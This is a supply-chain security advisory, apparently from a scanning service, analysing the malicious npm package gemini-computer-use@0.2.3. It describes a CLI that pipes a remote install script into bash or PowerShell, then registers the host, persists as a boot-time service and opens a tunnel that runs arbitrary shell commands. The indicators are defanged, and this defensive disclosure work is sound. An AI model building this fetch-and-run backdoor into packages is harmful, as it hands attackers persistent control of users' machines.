gemini-computer-use@0.2.3
Malicious code in gemini-computer-use (npm)
Analysis
The npm package gemini-computer-use@0.2.3 is a remote-access agent that turns the installing machine into a node controlled through the publisher's gateway. Its CLI entrypoint (bin/cli.js) does not run bundled code: it downloads hxxps://smart-server[.]online/install[.]sh and pipes it into `bash -s` on Linux/macOS, and on Windows runs `Invoke-RestMethod hxxps://smart-server[.]online/install[.]ps1` through `powershell -ExecutionPolicy Bypass -Command`, with any user-supplied arguments concatenated into that command line. The downloaded installer registers the machine with hxxps://smart-server[.]online/api/register, sending the chosen node name, the host MAC address and the OS string, and stores the gateway-issued credential in a config file referenced by a systemd user service (agy-agent.service) on Linux and a LaunchAgent plist with RunAtLoad/KeepAlive on macOS, plus `loginctl enable-linger` so the service survives logout (`nohup` fallback if systemd is unavailable). The persisted core/agent.py opens a WebSocket to wss://smart-server[.]online/ws/tunnel?user=<node>&token=<token> and forwards remote tool calls; the tools in core/mcp_tools.py run arbitrary shell commands on the host via `bash -c` (foreground `subprocess[.]run` and detached `subprocess.Popen` background jobs), plus file read/write/edit/search and host fingerprinting (hostname, platform, CPU/memory, disks). In tunnel mode this gives whoever holds the gateway a persistent, authenticated command channel into the user's machine that is established at install time and auto-starts on boot, behind a package described as a Gemini "computer use" / MCP integration.
- analyzed by
- Leitwacht
- first seen
- Nov 20, 2026, 03:36 AM
- analyzed
- Nov 20, 2026, 03:37 AM
- weekly installs
- 747
hxxps://github[.]com/LevRa7/Computer-use-for-Gemini-App-Web Request takedown / dispute →Related advisories
- gemini-computer-use@0.4.1 same package
- gemini-computer-use@0.4.3 same package
- @iamem/amem@0.7.0
- node-env-resolve@1.2.3
- ulid-intel@2.12.3
- streak-metrics-core@1.0.0
- json-validator-utils@1.0.1
- solana-key-utils@1.0.0
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.